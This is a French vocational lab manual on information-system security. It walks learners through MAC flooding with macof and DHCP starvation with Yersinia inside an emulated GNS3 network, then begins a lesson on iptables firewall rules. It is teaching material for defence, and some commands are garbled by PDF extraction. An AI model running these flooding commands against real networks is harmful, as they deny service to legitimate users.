TP m107 0804 62507162bdc64

TRAVAUX PRATIQUES – FILIÈRE INFRASTRUCTURE DIGITALE
M107 – Sécuriser un système d'information
45 heures
1. DÉCOUVRIR LES NOTIONS DE BASE DE LA SÉCURITÉ DES SYSTÈMES
D'INFORMATION (SI)
• Activité 1 : Mener l’attaque MAC Flooding
SOMMAIRE • Activité 2 : Mener l’attaque DHCP Starvation
2. PROTÉGER LE SI
• Activité 1 :S’initier à l’utilisation du pare-feu iptables
• Activité 2 : Configurer iptables en utilisant une stratégie par défaut drop
• Activité 3 : Sécuriser les systèmes Linux
• Activité 4 : Sécuriser les systèmes Windows
3. DÉCOUVRIR LA CRYPTOGRAPHIE ET LES SOLUTIONS DE GESTION

ET DE PARTAGE DE CLÉS
• Activité 1 : Application des techniques de chiffrement classiques
• Activité 2 : Chiffrement/déchiffrement symétrique
• Activité 3 : Génération de clé privée/public RSA
• Activité 4 : Génération des certificats avec OpenSSL
• Activité 5 : Chiffrement/déchiffrement asymétrique des fichiers
• Activité 6 : Signature des fichiers
• Activité 7: Gestion du CRL (Certificate List Revocation)
4. S’INITIER À L’AUDIT DE SÉCURITÉ DES SI

• Activité 1 : Identification des vulnérabilités d’un système
• Activité 2 : Exploitation des failles relatives au protocole Telnet
• Activité 3 : Exploitation des failles relatives au protocole FTP
MODALITÉS PÉDAGOGIQUES
1 2 3 4 5
LE GUIDE DE LA VERSION PDF DES CONTENUS DU CONTENU DES RESSOURCES
SOUTIEN Une version PDF TÉLÉCHARGEABLES INTERACTIF EN LIGNES
Il contient le est mise en ligne Les fiches de Vous disposez de Les ressources sont
résumé théorique sur l’espace résumés ou des contenus consultables en
et le manuel des apprenant et exercices sont interactifs sous synchrone et en
travaux pratiques formateur de la téléchargeables forme d’exercices asynchrone pour
plateforme sur WebForce Life et de cours à s’adapter au
WebForce Life utiliser sur rythme de
WebForce Life l’apprentissage
Copyright - Tout droit réservé - OFPPT 3

PARTIE 1
DÉCOUVRIR LES NOTIONS DE BASE DE LA
SÉCURITÉ DES SYSTÈMES D'INFORMATION
(SI)
Dans ce module, vous allez :
• Apprendre à utiliser des outils implémentés dans Kali Linux

pour lancer des attaques de sécurité
• Réaliser des attaques de sécurité exploitant les vulnérabilités
des protocoles du modèle OSI
7 heures
ACTIVITÉ 1
MENER L’ATTAQUE MAC FLOODING
Compétences visées :
• Utiliser des outils avancées pour lancer des attaques de

sécurité
• Réaliser une attaque externe exploitant les vulnérabilités de
la couche 2 du modèle ISO
Recommandations clés :
• Maitriser le principe de l’attaque par inondation d'adresses

MAC (MAC flooding attack)
4 heures
CONSIGNES
Pour le formateur
• L’apprenant doit être capable de mettre en place l’environnement de travail décrit
dans l’énoncé
• Il doit être aussi en mesure de réaliser l’attaque MAC flooding et d’observer les
résultats de cette attaque
Pour l’apprenant
• Il est recommandée de maitriser le principe de l’attaque MAC flooding et ses
résultats
• Il est recommandée également de suivre les étapes décrites dans l’énoncé pour
pouvoir mener l’attaque avec succès
Conditions de réalisation :
• GNS3. Lien de téléchargement : https://www.gns3.com/software/download
• VirtualBox. Lien de téléchargement : https://www.virtualbox.org/wiki/Downloads
• Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement :
https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-
amd64.ova
• Un fichier c3725-adventerprisek9-mz.124-15.T14.bin Lien de téléchargement :
https://drive.google.com/open?id=1DXsej1M3grZCo9l5O41Jh2jUGpnmCOR5
Critères de réussite :
• Réaliser le même environnement du travail décrit dans l’énoncé
• Exécuter avec succès l’attaque de sécurité
• Visualiser que la table MAC du commutateur ait été bien inondée suite à l’exécution
de l’attaque
Activité 1
Mener l’attaque MAC Flooding
Étape 1 : Mise en place de l’environnement de travail

• L’objectif principal de cette activité est de tester l’exécution d’une attaque MAC Flooding. Pour ce faire, nous allons émuler une topologie réseau dans GNS3 à partir de
laquelle nous allons essayer de tester la réalisation de cette attaque.
• Graphical Network Simulator-3 (GNS3) qui est un émulateur réseau permettant la combinaison de dispositifs virtuels pour émuler des réseaux complexes.
• À l'aide de GNS3, nous pourrons non pas seulement émuler une topologie du réseau, mais aussi simuler l’exécution des attaques de sécurité en émulant les dispositifs
et les outils qui peuvent être utilisées par des pirates.
• Dans cette étape, vous êtes chargés de télécharger et installer GNS3, puis ouvrir un nouveau projet, intitulé Projet1. Ci-dessous, l’interface d’accueil de GNS3.
PARTIE 1
Création d’un nouveau projet
Interface d’accueil de GNS3

Activité 1
Étape 2 : Préparation de la machine virtuelle Kali Linux

• Kali Linux est une distribution Linux open source basée sur Debian. Elle est orientée vers diverses tâches de sécurité de l'information, telles que les tests d'intrusion, la
recherche en sécurité, l'informatique judiciaire et l'ingénierie inverse.
• Kali Linux implémente plusieurs outils permettant de tester l’exécution de certaines attaques de sécurité.
• Dans cette étape, vous êtes chargés de télécharger le fichier kali-linux-2022.1-virtualbox-amd64.ova, puis l’importer dans VirtualBox pour créer une machine virtuelle
Kali linux.
PARTIE 1
Importation du fichier kali-linux-2022.1-virtualbox-amd64.ova sous VirtualBox Machine Virtuelle Kali Linux crée sous VirtualBox
Activité 1

• Il vaut mieux mettre à jour le système d’exploitation Kali Linux, pour pouvoir installer les outils nécessaires pour la réalisation des activités.
• Pour ce faire, tapez dans le terminal la commande: sudo apt update
Remarques
• Les identifiants de la machine Kali sont les suivants :

• Login : kali
• Mot de passe : kali
PARTIE 1
Mise à jour du système Kali

Activité 1

• Installez l’outil Macof dans la machine virtuelle Kali en tapant la commandes suivante dans le terminal : sudo macof
• Cet outil nous servira par la suite pour l’exécution de l’attaque MAC Flooding
• Après avoir terminé l’installation de l’outil Macof, modifiez le mode d’accès réseau en " Aucune connexion"
• Cela est requis pour que vous puissiez par la suite connecter cette machine à la topologie réseau qui sera créée dans l’émulateur GNS3 dans l’étape suivante
PARTIE 1
Mode d’accès réseau de la VM Kali

Activité 1
Étape 3 : Émulation de la topologie de réseau

• Après avoir installé GNS3, nous allons émuler une topologie réseau à partir de laquelle, nous testerons l’attaque MAC Flooding.
• La topologie réseau à émuler est illustrée dans la figure ci-dessous.
Topologie réseau
• Pour mettre en place une telle topologie, vous êtes chargés de :

1. Télécharger le fichier c3725-adventerprisek9-mz.124-15.T14.bin, qui représente une image Cisco IOS permettant l’émulation d’un commutateur (Switch).
2. Créer manuellement une nouvelle Template de commutateur à partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin.Pour ce faire, cliquez sur
"+NewTemplate"→"Manually create a new template"→ "IOS Routers" → "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-15.T14.bin et
PARTIE 1
complétez le processus de création de la Template du commutateur (sous le nom EtherSwitch) ;

3. Importer la machine virtuelle Kali Linux. Pour ce faire, cliquez sur Edit→preferences →VirtualBox→VirtualBOX VMs→New ;
4. Établir les liens requis pour créer la topologie comme illustrée à la figure ci-dessus ;
5. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.

Activité 1
Étape 4 : Exécution de l’attaque MAC Flooding

• L’attaque Mac Flooding consiste à inonder un commutateur avec des paquets ARP falsifiés, chacun contenant différentes adresses MAC source. Pour exécuter une telle
attaque, vous êtes chargés de :
1. Afficher le nombre actuel d'entrées dans la table d'adresses MAC du commutateur. Pour ce faire, exécuter la commande suivanteà partir du terminal du
commutateur : #show mac-address-table count ;
2. Utiliser l'outil "macof" dans la machine Kali Linux pour inonder le commutateur. Vous pouvez utiliser la commande suivante depuis le terminal de la machine
Kali : sudo macof -i eth0 ;
Remarques
• L’outil macof permet d’inonder un commutateur de réponses MAC falsifiées à une

vitesse élevée.
• L’option -i suivie du nom de k’interface (eth0, par exemple) permet de spécifier
l’interface de sortie du flux de de réponses MAC falsifiées.
3. Vérifier l'exécution de l'attaque en :

PARTIE 1
• utilisant Wireshark pour analyser le trafic généré par l'attaquant ;

• affichant le nombre actuel d'entrées dans la table d'adresses MAC du commutateur en utilisant la commande suivante : # show mac-address-table
count.
4. Arrêter l'exécution de l'attaque.

Activité 1
Correction

Pour créer manuellement une nouvelle Template d’un commutateur à partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin, sélectionnez l’icône " +New template "
Une nouvelle fenêtre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenêtre intitulée Preferences s’ouvre, sélectionnez alors IOS
Manually create a new template. Cliquez ensuite sur Next. Routers, et parcourez le chemin du fichier c3725-adventerprisek9-mz.124-
15.T14.bin. Cliquez ensuite sur Next.
PARTIE 1

Activité 1
Correction
Une nouvelle fenêtre intitulée New IOS router s’ouvre, nommez-la template du Attribuez une capacité RAM, il est possible d’utiliser la valeur par défaut 128Mo.
commutateur EtherSwitch. Sélectionnez la case This is an EtherSwitch router. Cliquez ensuite sur Next.
Cliquez ensuite sur Next.
PARTIE 1

Activité 1
Correction
Sur la page Network adaptaters, il vaut mieux ne pas modifier la configuration Sur la page Idle-PC, il vaut mieux ne pas modifier la configuration par défaut.
par défaut. Cliquez ensuite sur Next. Cliquez ensuite sur Finish.
PARTIE 1

Activité 1
Correction
Comme illustré dans la figure ci-dessous, la template EtherSwitch a été créée avec succès.
PARTIE 1

Activité 1
Correction

Pour créer manuellement une nouvelle Template d’une machine à partir d’une machine virtuelle créée sous VirtualBox, sélectionnez l’icône
Une nouvelle fenêtre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenêtre intitulée Preferences s’ouvre, sélectionnez alors
Manually create a new template. Cliquez ensuite sur Next. VirtualBox VMs, et sélectionnez la VM Kali. Cliquez ensuite sur Next.
PARTIE 1

Activité 1
Correction
Terminez le processus de création en cliquant sur Apply puis Ok. Comme illustré dans la figure ci-dessous, la template Kali a été créée avec succès.
PARTIE 1

Activité 1
Correction
Importez les équipements nécessaires dans l’espace de travail, les nommez, puis Cliquez sur le bouton Start/Resume all nodes. Une fenêtre de confirmation
établissez les liens requis pour créer la topologie comme illustré à la figure ci- s’ouvre, cliquez alors sur Yes.
dessus.
Comme illustré dans la figure ci-dessous, tous les équipements sont actifs et
prêts à être utilisés.
PARTIE 1

Activité 1
Correction

• Après avoir mis en place la topologie réseau demandée et avant de commencer la réalisation de l’attaque de sécurité, il faut vérifier le nombre actuel d'entrées dans la
table d'adresses MAC du commutateur (nommé Switch) dans notre topologie
• Pour ce faire, double cliquez sur le commutateur afin d’ouvrir le terminal du commutateur
• Dans le terminal du commutateur, exécutez la commande suivante : show mac-address-table count
• Le résultat de la commande exécutée (c.à.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous
• Selon le résultat obtenu :
• Nombre actuel d'entrées dans la table d'adresses MAC est égal à 1
• Nombre maximum d'entrées dans la table d'adresses MAC est égal à 8192
PARTIE 1

Activité 1
Correction
• Lancez l’exécution de l’attaque MAC Flooding depuis la machine Kali, en accédant à son terminal et en tapant la commande : sudo macof -i eth0
• N’arrêtez pas l’exécution de l’attaque jusqu’à ce que vous puissiez examiner les résultats de cette attaque
PARTIE 1

Activité 1
Correction

• Depuis le terminal du commutateur, exécutez de nouveau la commande show mac-address-table count afin d’examiner le nombre actuel d’entrées dans la table
d’adresses MAC du commutateur
• Le résultat de la commande exécutée (c.à.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous
• Selon le résultat obtenu, vous pouvez remarquer que le nombre actuel d'entrées dans la table d'adresses MAC est passé de la valeur 1 à 8188 qui est une valeur très
proche du nombre maximum d'entrées dans la table d'adresses MAC
• Nous pouvons donc conclure que la table MAC est inondée avec succès
PARTIE 1

Activité 1
Correction

Il est aussi possible d’analyser le trafic généré par la machine Kali en utilisant l’outil d’analyse Wireshark, qui est installé par défaut avec GNS3.
Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le câble liant Une fenêtre de capture de paquets s’ouvre comme illustré dans la figure ci-
la machine Kali et le commutateur. Sélectionnez ensuite l’option Start capture. dessous, cliquez alors sur OK.
PARTIE 1

Activité 1
Correction

La figure ci-dessous est un extrait de la capture du trafic collectée lors de l’exécution de l’attaque MAC Flooding.
PARTIE 1

ACTIVITÉ 2
MENER L’ATTAQUE DHCP STARVATION
• Utiliser des outils avancés pour lancer des attaques de

sécurité
• Réaliser une attaque externe exploitant les vulnérabilités de
la couche 2 du modèle ISO
• Maitriser le principe de l’attaque DHCP starvation
3 heures
CONSIGNES
Pour le formateur
• L’apprenant doit être capable de mettre en place l’environnement de travail décrit
dans l’énoncé
• Il doit être aussi en mesure de réaliser l’attaque DHCP Starvation et d’observer les
résultats de cette attaque
Pour l’apprenant
• Il est recommandée de maitriser le principe de l’attaque DHCP Starvation et ses
résultats
• Il est recommandée également de suivre les étapes décrites dans l’énoncé pour
pouvoir mener cette attaque avec succès
Conditions de réalisation
• L’environnement de travail relatif à l’activité 1 a été bien mis en place et configuré
• Une machine Virtuelle Ubuntu (ou n’importe quelle machine virtuelle)
Lien de téléchargement de la VM Ubuntu :
https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
• Un fichier c3725-adventerprisek9-mz.124-25d.bin. Lien de téléchargement :
http://network3000.persiangig.com/p/Cisco/ios/c3725-adventerprisek9-mz.124-
25d.bin
Critères de réussite
• Réaliser l’environnement de travail décrit dans l’énoncé
• Exécuter avec succès l’attaque de sécurité
Activité 2
Mener l’attaque DHCP Starvation
Étape 1 : Préparation des machines virtuelles

• L’objectif principal de cette activité est de tester l’exécution d’une attaque DHCP starvation.
• Pour ce faire, nous allons émuler une topologie réseau dans GNS3 à partir de laquelle nous allons essayer de tester l’attaque DHCP starvation.
• Dans cette étape, vous êtes chargés de préparer les machines virtuelles qui vont être utilisées par la suite pour émuler la topologie réseau de cette activité.
• La première tâche consiste à installer l’outil yersinia dans la machine virtuelle Kali (utilisée dans l’activité précédente) en tapant la commandes suivante dans le
terminal : sudo apt install yersinia
• Cet outil nous servira par la suite pour l’exécution de l’attaque DHCP Startvation
Remarques
• Pour connecter la machine virtuelle Kali à Internet et pouvoir installer l’outil
yersinia, il faut choisir comme mode d’accès réseau "Nat" ou "Accès par
pont".
• Après avoir terminé l’installation, modifiez le mode d’accès réseau de la
PARTIE 1
machine virtuelle en " Aucune connexion".

Activité 2

• Après avoir préparé la machine virtuelle Kali Linux, il faut préparer une deuxième machine virtuelle qui va jouer le rôle d’un client DHCP dans la topologie réseau
émulée.
• Dans cette activité, il est possible d’utiliser, par exemple, une machine virtuelle Ubuntu.
• Il est possible de télécharger un disque virtuel Ubuntu à partir du lien suivant https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
• En partant de ce disque virtuel, il est possible de créer une machine virtuelle Ubuntu, en suivant les étapes suivantes :
1. Comme illustré dans la figure ci-contre, créez une nouvelle machine virtuelle :
Remarques
• Les identifiants de la machine virtuelle Ubuntu sont les suivants :

• Login : osboxes
PARTIE 1
• Mot de passe : osboxes.org

Activité 2
2. Sélectionnez une taille mémoire pour la machine virtuelle, par 3. Sélectionnez l’option « Utiliser un fichier de disque virtuel
exemple 1 Go. Cliquez ensuite sur Suivant. existant », et parcourez ensuite le chemin du disque virtuel Ubuntu
téléchargé. Cliquez ensuite sur Créer. La machine virtuelle sera
créée avec succès.
PARTIE 1

Activité 2

• Après avoir préparé les deux machines virtuelles, nous allons émuler une topologie réseau à partir de laquelle, nous testerons l’attaque DHCP starvation.
• La topologie réseau à émuler est illustré dans la figure ci-dessous
• Pour mettre en place une telle topologie, vous êtes chargés de :

1. Ouvrir un nouveau projet, nommé Projet 2 ;
2. Télécharger le fichier c3725-adventerprisek9-mz.124-25d.bin, qui représente une image Cisco IOS permettant l’émulation d’un routeur (Router) ;
3. Créer manuellement une nouvelle Template d’un routeur à partir du fichier fichier c3725-adventerprisek9-mz.124-25d.bin. Pour ce faire, cliquez sur
PARTIE 1
"+NewTemplate"→"Manually create a new template"→ "IOS Routers" → "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-25d.bin et
compléter le processus de création de la Template du routeur (sous le nom Router) ;
4. Importer la machine virtuelle Ubuntu. Pour ce faire, cliquez sur Edit→preferences →VirtualBox→VirtualBOX VMs→New ;
5. Établir les liens requis pour créer la topologie comme illustré à la figure ci-dessus ;
6. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.

Activité 2
Étape 3 : Configuration du serveur DHCP

• L’attaque DHCP starvation consiste à inonder un serveur DHCP avec de fausses requêtes DHCP. Pour mener cette attaque, la machine pirate (Kali Linux) diffusera
simultanément un grand nombre de requêtes DHCP avec des adresses MAC usurpées, de sorte que les adresses IP disponibles dans la portée du serveur DHCP seront
épuisées dans un très court laps de temps.
• Pour mener une telle attaque, vous devez d'abord configurer le routeur R1 en tant que serveur DHCP. Pour ce faire vous êtes chargés de :
1. Ouvrir le terminal du routeur R1 en effectuant un double clique sur le routeur R1 ;
2. Activer l'interface appropriée (FastEthernet 0/0 dans notre exemple) et lui attribuer une adresse IP (10.0.0.1, par exemple).Pour ce faire, exécutez les
commandes suivantes depuis le terminal de R1 :
• R1# Configure terminal
• R1(config)# interface FastEthernet 0/0
• R1(config-if)#ip address 10.0.0.1 255.0.0.0
• R1(config-if)#no shutdown
• R1(config-if)#exit
3. Créer le pool DHCP d’adresses IPs qui seront distribués aux clients DCHP légitimes demandant des adresses. Ça sera le pool d’adresses ciblés dans cette attaque.
PARTIE 1
Pour ce faire, exécutez les commandes suivantes depuis le terminal de R1 ;

• R1(config)#service dhcp
• R1(config)#ip dhcp pool pool-1

Activité 2

4. Spécifier l'adresse réseau (10.0.0.0, dans notre exemple) pour le pool d’adresses créé. Pour ce faire, exécutez la commande suivantes depuis le terminal de R1 :
R1(dhcp-config)#network 10.0.0.0 ;
5. Spécifier l'interface Fastethernet0/0 comme passerelle par défaut pour le réseau créé en tapant la commande : R1(dhcp-config)#default-router 10.0.0.1 ;
6. Indiquer les adresses exclues pour les supprimer du pool d’adresses qui peuvent être attribuées aux clients DHCP. Cela pourrait être utilisé pour protéger les
affectations statiques qui peuvent exister (passerelle par défaut, serveurs, imprimantes, etc...). Pour ce faire, tapez les commandes suivantes :
• R1(dhcp-config)#lease 1
• R1(dhcp-config)#exit
• R1(config)#ip dhcp excluded-address 10.0.0.0
• R1(config)#exit
7. Vérifier la configuration effectuée à l'aide de la commande suivante : R1#show ip pool dhcp pool-1 ;
8. Enregistrer la configuration effectuée en tapant la commande suivante : R1# copy running-config startup-config ;
PARTIE 1

Activité 2
Étape 4 : Vérification du bon fonctionnement du serveur DHCP

• Afin de vérifier si le serveur DHCP fonctionne correctement, vous devez vérifier si les adresses IP attribuées à la machine du pirate ainsi qu'à la machine victime (client
dhcp) appartiennent au pool assignable du serveur DHCP. Pour ce faire, vous êtes chargés d’effectuer les tâches suivantes :
1. Ouvrez l’invite de commande de la machine Ubuntu ;
2. Libérez la configuration IP actuelle de la machine Ubuntu en tapant la commande : sudo ;dhclient –r ;
3. Demandez une nouvelle adresse IP en tapant la commande : sudo dhclient ;
4. Vérifiez l'attribution de l'adresse en exécutant les commandes suivantes :
• Depuis le terminal de la machine Ubuntu : sudo ip address show
• Depuis le terminal du routeur : R1#show ip DHCP binding
5. Répétez les étapes précédentes (de 1→4) pour la machine Pirate.
PARTIE 1

Activité 2
Étape 5 : Exécution de l’attaque DHCP Starvation

• Pour exécuter l’attaque DHCP starvation, il est possible d’utiliser l'outil Yersinia.
Remarques
• Yersinia est un outil permettant la réalisation des attaques de couche 2. Il est conçu pour tirer parti de certaines
faiblesses des différents protocoles réseau.
• L’outil Yersinia peut être installé dans une machine Kali en utilisant la commande : sudo apt install yersinia
• Dans cette étape, vous êtes essentiellement chargés d’exécuter l’attaque et de visualiser ses résultats. Pour ce faire, il est recommandé de suivre les étapes suivantes :
1. Lancez Yersinia en exécutant la commande suivante dans le terminal de la machine Kali : sudo yersinia –G ;
2. Depuis l'interface de l’outil Yersinia, cliquez sur : Launch Attack→ DHCP → Sending DISCOVER packet→ OK ;
3. Lancez ensuite Wireshark dans GNS3 pour analyser les paquets DHCP DISCOVER envoyés ;
4. Essayez de voir les dommages qui en résultent et de voir la disponibilité restante du pool d’adresses, en suivant les étapes suivantes :
i. Essayez de libérer et de renouveler l'attribution de l'adresse IP du client DHCP (machine Ubuntu) en tapant les commandes suivantes :
i. sudo dhclient -r
PARTIE 1
ii. sudo dhclient

ii. Utilisez la commande suivante dans le routeur pour voir le pool restant : R1#show ip pool dhcp pool-1
iii. Utilisez la commande suivante dans le routeur pour voir l'ensemble des adresses affectées : R1# show ip dhcp binding
5. Terminez l'exécution de l'attaque en tapant la commande suivante : #yersinia –I.

Activité 2
Correction
Cette interface illustre l’ouverture d’un nouveau projet, intitulé Projet2. Ce projet sera utilisé pour émuler la topologie réseau demandée dans cette activité.
PARTIE 1

Activité 2
Correction

Pour créer manuellement une nouvelle Template d’un routeur à partir du fichier c3725-adventerprisek9-mz.124-25d.bin, sélectionnez l’icône " +New template "
Une nouvelle fenêtre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenêtre intitulée Preferences s’ouvre, sélectionnez alors IOS
Manually create a new template. Cliquez ensuite sur Next. Routers, et parcourez le chemin du fichier c3725-adventerprisek9-mz.124-
25d.bin. Cliquez ensuite sur Next.
PARTIE 1

Activité 2
Correction
Une nouvelle fenêtre intitulée New IOS router s’ouvre, nommez la Attribuez une capacité RAM, il est possible d’utiliser la valeur par défaut
Template du routeur « Router ». Cliquez ensuite sur Next. 128Mo. Cliquez ensuite sur Next.
PARTIE 1

Activité 2
Correction
Sur la page Network adaptaters, il vaut mieux ne pas modifier la Sur la page WIC modules, il vaut mieux ne pas modifier la configuration
configuration par défaut. Cliquez ensuite sur Next. par défaut. Cliquez ensuite sur Next.
PARTIE 1

Activité 2
Correction
Sur la page Idle-PC, il vaut mieux ne pas modifier la configuration par Comme illustré dans la figure ci-dessous, la Template Router a été
défaut. Cliquez ensuite sur Finish. créée avec succès.
PARTIE 1

Activité 2
Correction

Pour créer manuellement une nouvelle Template d’une machine à partir d’une machine virtuelle créée sous VirtualBox, sélectionnez l’icône "+New Template ".
Une nouvelle fenêtre intitulée New template s’ouvre, sélectionnez alors Une nouvelle fenêtre intitulée Preferences s’ouvre, sélectionnez alors
Manually create a new template. Cliquez ensuite sur Next. VirtualBox VMs, et sélectionnez la VM Ubuntu. Cliquez ensuite sur Next.
PARTIE 1

Activité 2
Correction
Terminez le processus de création en cliquant sur Apply puis Ok. Comme illustré dans la figure ci-dessous, la Template Ubuntu a été
créée avec succès.
PARTIE 1

Activité 2
Correction
Importez les équipements nécessaires dans l’espace de travail, Cliquez sur le bouton Start/Resume all nodes. Une fenêtre de confirmation
nommez-les, puis établissez les liens requis pour créer la topologie s’ouvre, cliquez alors sur Yes.
comme illustré à la figure ci-dessus.
PARTIE 1
Comme illustré dans la figure contre, tous les

équipements sont actifs et prêts à être utilisés.

Activité 2
Correction

Cette figure illustre les commandes exécutées pour activer l'interface Cette figure illustre les commandes exécutées pour la création et la
FastEthernet 0/0 et lui attribuer une adresse IP 10.0.0.1. configuration du pool d’adresses DHCP.
PARTIE 1

Activité 2
Correction
• Pour vérifier le bon fonctionnement du serveur DHCP, nous allons vérifier si les machines Ubuntu (client DHCP) et Kali (pirate) peuvent recevoir des adresses IP du
serveur DHCP.
• Avant tout, il faut vérifier les liaisons d'adresse sur le serveur DHCP en exécutant la commande R1#show ip DHCP binding dans le terminal du routeur R1.
• Comme illustré dans la figure ci-dessous, le résultat de l’exécution de la commande précédente illustre qu’il y a une seule adresse DHCP (10.0.0.3) qui a été attribuée.
PARTIE 1

Activité 2
Correction
• Cette figure illustre l’exécution des commandes permettant la libération de la En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons
configuration IP de la machine Ubuntu, la demande d’une nouvelle adresse IP, et remarqué l’ajout d’une nouvelle ligne démontrant l’attribution de
l’affichage de l’adresse IP obtenue. l’adresse 10.0.0.2 à un nouveau client DHCP qui est la machine Ubuntu
• Le résultat illustré dans la figure montre que la machine Ubuntu a obtenu une adresse IP dans notre exemple.
.10.0.0.2
PARTIE 1

Activité 2
Correction
• Cette figure illustre l’exécution des commandes permettant la libération de la En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons
configuration IP de la machine Kali, la demande d’une nouvelle adresse IP, et remarquer l’ajout d’une nouvelle ligne démontrant l’attribution de l’adresse
l’affichage de l’adresse IP obtenue. 10.0.0.4 à un nouveau client DHCP qui est la machine Kali dans cet exemple.
• Le résultat illustré dans la figure montre que la machine Kali a obtenu une
adresse IP .10.0.0.4.
PARTIE 1

Activité 2
Correction
Lancement de l’outil Yersinia depuis le terminal de la machine Kali (pirate).
Interface de l’outil Yersinia illustrant l’exécution de l’attaque DHCP

Interface de l’outil Yersinia permettant le lancement de l’attaque DHCP starvation.
starvation via l’envoie des requêtes DHCP falsifiées.
PARTIE 1

Activité 2
Correction

Il est aussi possible d’analyser le trafic généré par la machine Kali en utilisant l’outil d’analyse Wireshark, qui est installé par défaut avec GNS3.
• Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le câble La figure ci-dessous est un extrait de la capture du trafic collectée lors de l’exécution de
liant la machine Kali et le commutateur. Sélectionnez ensuite l’option Start l’attaque DHCP starvation.
capture.
• Une fenêtre de capture de paquets s’ouvre comme illustré dans la figure ci-
dessous, cliquez alors sur OK.
PARTIE 1

Activité 2
Correction
Cette figure illustre le résultat de la commande R1# show ip dhcp binding exécutée Cette figure illustre le résultat de la commande R1# show ip dhcp binding
lors de la réalisation de l’attaque DHCP starvation. Elle montre que le serveur DHCP exécutée après la réalisation de l’attaque DHCP starvation. Elle montre que le
est inondé et ne peut pas répondre à n’importe quel type de requête. serveur DHCP a attribué plusieurs adresses dynamiques.
Remarques
PARTIE 1
En essayant de libérer et de renouveler l'attribution de l'adresse à la machine Ubuntu lors de

l’exécution de l’attaque, vous pouvez noter que la machine Ubuntu ne peut pas recevoir une
nouvelle adresse de la part du serveur DHCP (qui est inondé).

PARTIE 2
PROTÉGER LE SI
• Configurer un pare-feu
• Appliquer les bonnes pratiques et la configuration des outils
nécessaires pour sécuriser un système d’exploitation
18 heures
ACTIVITÉ 1
S’INITIER À L’UTILISATION DU PARE-FEU
IPTABLES
• Configurer un pare-feu (IPTABLES)
• Maitriser le principe du fonctionnement d’un pare-feu

logiciel
3 heures
CONSIGNES
1. Pour le formateur
• L’apprenant doit être capable de configurer iptables en partant de la stratégie de
sécurité définie dans un énoncé.
2. Pour l’apprenant
• Il est recommandée de maitriser le principe du fonctionnement d’un pare-feu
• Il faut utiliser le syntaxe des commandes fournis au début de l’activité
• Il est également recommandée de suivre les étapes décrites dans l’énoncé
3. Conditions de réalisation :
• VirtualBox installé
• Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu :
4. Critères de réussite :
• Avoir un pare-feu configuré selon la stratégie de sécurité définie dans l’énoncé
• Réaliser avec succès les tests de vérification demandés dans l’énoncé
Activité 1
S’initier à l’utilisation du pare-feu iptables
Étape 1 : S’initier à iptables

• L’objectif principal de cette activité est d’apprendre à configurer un pare-feu. Comme exemple de pare-feu, nous allons utiliser iptables.
• Iptables est un outil de ligne de commande et un pare-feu Linux permettant de configurer, maintenir et inspecter des tableaux de filtrage de paquets.
• Tous les paquets inspectés par iptables passent par une séquence de tables intégrées (INPUT, OUTPUT, ou FORWARD) pour être traités. Chacun de ces tableau est
dédiée à un type particulier d'activité de paquets et est contrôléepar une chaîne de transformation/filtrage de paquets associée.
• Iptables est basé sur trois tableaux de filtrage de paquets qui sont :
• INPUT : contrôle les paquets entrants sur la machine ;
• FORWARD : filtre les paquets qui entrent sur la machine mais doivent être transférés ailleurs ;
• OUTPUT : contrôle les paquets sortant de la machine.
• Toute commande iptables prend la forme suivante :
$ sudo iptables –t <type de tableau> <action> <direction> <conditions> -j <ce qu'il faut faire>
PARTIE 2
• En ce qui suit nous détaillons le contenu des éléments qui peuvent être inclus dans une commande iptables.

Activité 1

Le tableau suivant détaille les éléments qui peuvent être inclus dans une commande iptables :
Éléments Contenus Descriptions

-t --table
<Type de tableau> Filtre par défaut

-A: append Ajouter une règle à la chaîne iptables
-D: delete Supprimer la règle qui correspond
<action> -L: list Lister toutes les règles
-F: Flush Supprimer toutes les règles
-P: policy Modifier la stratégie par défaut
INPUT Filtrage des paquets entrants
<direction> OUTPUT Filtrage des paquets sortants
FORWARD Filtrage des paquets entrants et à transférer
PARTIE 2
ACCEPT Le paquet est accepté sur l'interface entrante

DROP Le paquet est bloqué. Aucun message d'erreur n'est renvoyé
<ce qu'il faut faire> REJECT Le paquet est bloqué. Un message d'erreur est renvoyé
Les informations sur le paquet sont envoyées au démon syslog pour la journalisation et
LOG
iptables continue le traitement avec la règle suivante dans la table

Activité 1
Éléments Contenus Descriptions

-s <ip> Spécifier une adresse IP source
-d <ip> Spécifier une adresse IP destination
-i <eth> Spécifier une interface d’entrée (Input)
<conditions>
-o <eth> Spécifier une interface de sortie (Output)
-p <protocole> --dport <num> Spécifier le port destination d’un protocole donné
-p <protocole> --sport <num> Spécifier le port source d’un protocole donné
PARTIE 2

Activité 1

Le tableau ci-dessous décrit certains exemples de commandes iptables qui vous servent par la suite pour configurer proprement votre pare-feu.
Exemples de commandes iptables Description

sudo iptables –A INPUT -p tcp -m tcp --dport 23 –j DROP Bloque les connexions TCP entrantes au port 23
sudo iptables –A OUTPUT –p udp –m tcp --sport 53 –j DROP Bloque les connexions UDP sortantes du port 53
sudo iptables –A INPUT –i eth0 –p tcp --dport 22 –m state --state NEW, Accepte les demandes d'établissement de nouvelles connexions et
ESTABLISHED –j ACCEPT datagramme faisant partie d'une connexion déjà établie
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT Accepte les echo-request (paquet icmp de type 8) sortantes
